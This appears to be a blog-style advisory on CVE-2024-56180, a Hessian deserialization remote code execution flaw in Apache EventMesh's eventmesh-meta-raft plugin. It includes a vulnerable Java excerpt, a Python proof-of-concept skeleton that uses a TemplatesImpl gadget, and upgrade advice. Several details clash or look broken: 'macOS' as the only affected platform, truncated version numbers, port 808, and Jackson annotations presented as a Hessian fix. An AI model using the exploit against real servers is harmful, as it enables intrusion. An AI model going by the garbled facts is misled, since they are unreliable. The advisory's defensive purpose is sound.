On June 9, 2024, the security community identified a critical vulnerability in the Apache EventMesh project, specifically in the eventmesh-meta-raft plugin module. Assigned as CVE-2024-56180, the flaw enables remote attackers to execute arbitrary code by sending crafted messages that exploit an insecure Hessian deserialization process via the plugin’s RPC protocol.

Platforms affected:

macOS

Status:
- Only the master branch and pre-release code (used directly from the repository before v1.11.) are vulnerable.
- Apache EventMesh version 1.11. and later contain patches and are not affected by this vulnerability.

What is the Vulnerability?

CWE-502: Deserialization of Untrusted Data
When an application deserializes data from untrusted sources without sufficient checks, attackers can craft payloads that, once unserialized, trigger malicious code execution. This is a well-known vector for critical security breaches.

In this case, the eventmesh-meta-raft plugin in EventMesh would deserialize incoming RPC Hessian-encoded objects—*without* restricting which classes could be deserialized. This opens the door to severe supply-chain and infrastructure attacks, including full remote code execution.

Component: eventmesh-meta-raft plugin module

- Project: Apache EventMesh

Attack Details

Attackers can send a specially constructed Hessian-encoded RPC message to an exposed EventMesh server running a vulnerable version. No authentication or prior knowledge of the environment is needed if the service is exposed to the attacker.

The attacker’s payload can exploit classpaths to load malicious objects that execute arbitrary system commands or establish persistence.

Payload is sent to the RPC endpoint exposed by the eventmesh-meta-raft plugin.

3. Server deserializes the payload with *no restrictions*, leading to execution of arbitrary code with the privileges of the EventMesh process.

Below is an excerpt inspired by the vulnerable logic in the master branch

// Vulnerable code inside eventmesh-meta-raft RPC handler
import com.caucho.hessian.io.HessianInput;

// 'input' is the raw input stream from remote client
HessianInput hessianInput = new HessianInput(input);
Object rpcRequest = hessianInput.readObject(); // <-- No type restrictions!

// Next lines process the object, potentially triggering attacker code.
processRequest((RPCRequest) rpcRequest);

Why is this dangerous?
The code deserializes *any* class present in the server’s classpath, instead of whitelisting safe types or using a secure parser.

Exploit Proof of Concept (PoC)

Below is a simplified Python-based proof-of-concept using the pyhessian library and a known gadget (for educational purposes):

from pyhessian.client import HessianProxy

# Connect to vulnerable EventMesh server
eventmesh_url = "http://target-server:808/rpc-endpoint";
server = HessianProxy(eventmesh_url)

# Hessian payload uses a gadget chain (user must customize)
exploit_payload = {
    "@class": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": [attacker_controlled_bytecode], # Insert shellcode here
    # ... other required fields ...
}

# Send exploit
try:
    server.executeCommand(exploit_payload)
    print("Exploit sent!")
except Exception as e:
    print(f"Failed to exploit: {e}")

Note: The actual gadget and payload depend on Java classpath and available libraries on the target system.

Official Fix

- Upgrade immediately to Apache EventMesh v1.11. or later.
- The fix introduces safe deserialization practices, such as validating allowed classes and adding @JsonTypeInfo restrictions for polymorphic objects.

References

- Apache EventMesh GitHub - Master Branch
- CVE-2024-56180 at NVD
- Official Security Advisory (if published)
- Read more about CWE-502: Deserialization of Untrusted Data
- Hessian Serialization Protocol

Summary Table

| Item | Details |
|------------------------|---------------------------------------------|
| CVE ID | CVE-2024-56180 |
| Component | eventmesh-meta-raft plugin |
| Project | Apache EventMesh |
| Affected Branch | master, pre-v1.11. |
| Vulnerable Protocol| Hessian RPC |
| Severity | Critical (Remote Code Execution) |
| Fix | Upgrade to v1.11. or later |

Final Thoughts

If you’re running any development, test, or production instance of Apache EventMesh using the eventmesh-meta-raft plugin from the master branch or pre-release code, you must update to version 1.11. immediately. Remote code execution flaws like this are often discovered and mass-exploited quickly due to their severe impact and the growing prevalence of supply-chain attacks.

Stay safe—review your code for unsafe deserialization and always keep dependencies up to date.

*This post is exclusive to this channel and aims to provide clear and actionable information for users and admins affected by CVE-2024-56180. Please share responsibly.*


Disclaimer:
All exploit details are for educational purposes. Do not attempt unauthorized testing on production systems. Always follow responsible disclosure and patch your systems promptly.

Timeline

Published on: 02/14/2025 14:15:32 UTC
Last modified on: 02/18/2025 15:15:16 UTC